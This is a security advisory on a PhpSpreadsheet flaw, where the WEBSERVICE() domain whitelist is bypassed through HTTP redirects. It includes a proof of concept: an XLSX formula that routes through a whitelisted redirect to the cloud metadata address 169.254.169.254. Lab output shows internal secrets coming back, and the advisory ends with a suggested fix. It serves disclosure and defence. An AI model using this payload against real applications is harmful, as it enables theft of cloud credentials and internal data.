PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

NVD Description

### Summary The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect. ### Details In `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content. The stream context does not disable redirect following: ```php $ctxArray = [ 'http' => [ 'user_agent' => 'Mozilla/5.0 ...', // follow_location defaults to true // max_redirects defaults to 20 ], ]; ``` PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses. **Vulnerable code** (`Calculation/Web/Service.php`): ```php // Whitelist check — runs ONCE on the initial URL $domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? []; $host = $parsed['host'] ?? ''; if (!in_array($host, $domainWhiteList, true)) { return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED; } // HTTP request — follows redirects to ANY destination $ctx = stream_context_create($ctxArray); $output = @file_get_contents($url, false, $ctx); ``` Additionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host. ### PoC **Prerequisites:** - Application uses PhpSpreadsheet >= 5.4.0 - Application calls `$spreadsheet->setDomainWhiteList([...])` with at least one domain - Application calls `$cell->getCalculatedValue()` on uploaded XLSX files **Attack steps:** 1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls). 2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL: ```xml <c r="A1"> <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f> </c> ``` 3. Upload the XLSX to the target application. The calculation engine: - Validates `whitelisted-domain.com` against the whitelist — **passes** - Calls `file_get_contents("http://whitelisted-domain.com/redirect?url=...")` - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation** - Returns the cloud metadata response as the cell's calculated value **Lab reproduction:** ```bash # Setup (PhpSpreadsheet 5.7.0, PHP 8.3) # App whitelists "trusted-api.example.com" # Redirect server on trusted-api.example.com:7071 returns 302 → internal target # Test 1: Direct internal access — BLOCKED by whitelist =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") → Result: null (blocked) # Test 2: Via redirect from whitelisted domain — BYPASS =WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal") → Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."} ``` Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain). ### Impact An attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can: - **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets - **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/` - **Access internal services** not exposed to the internet - **Port-scan internal networks** via any whitelisted hostname (port is not validated) This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value. **Attack scenarios:** - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check ### Suggested Fix Disable redirect following in the stream context: ```php $ctxArray = [ 'http' => [ 'user_agent' => '...', 'follow_location' => false, 'max_redirects' => 0, ], ]; ``` Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist. Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts. ### Related This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF. Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine. ---

Affected Packages (1)